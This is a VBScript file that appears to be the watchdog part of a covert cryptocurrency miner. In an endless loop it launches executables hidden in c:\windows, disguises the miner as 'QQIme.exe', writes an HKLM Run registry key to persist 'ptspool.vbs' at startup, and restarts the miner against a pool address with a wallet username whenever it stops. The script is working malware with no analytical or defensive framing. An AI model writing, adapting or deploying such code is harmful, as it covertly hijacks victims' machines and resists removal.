Function check_process(process_name)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcesses = objWMIService.ExecQuery ("SELECT * FROM Win32_Process WHERE Name = '" & process_name & "'")
If colProcesses.Count = 0 Then
check_process = "0"
Else
check_process = "1"
End If
end function '定义一个check_process的函数.
Set ws=CreateObject("Wscript.Shell")
Do while 1
ws.run "c:\windows\nprotect.exe",0
mainprocess_code=check_process("QQIme.exe")
if mainprocess_code = 0 then
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Start","c:\windows\ptspool.vbs"
ws.run "c:\windows\QQIme.exe -o 112.124.13.238:28988 -u PvjpKHjj1xjSC8BKyChzzos9JpqtZPKZpr -p x -m256 -t 1",0,true
end if
wscript.Sleep 5000
Loop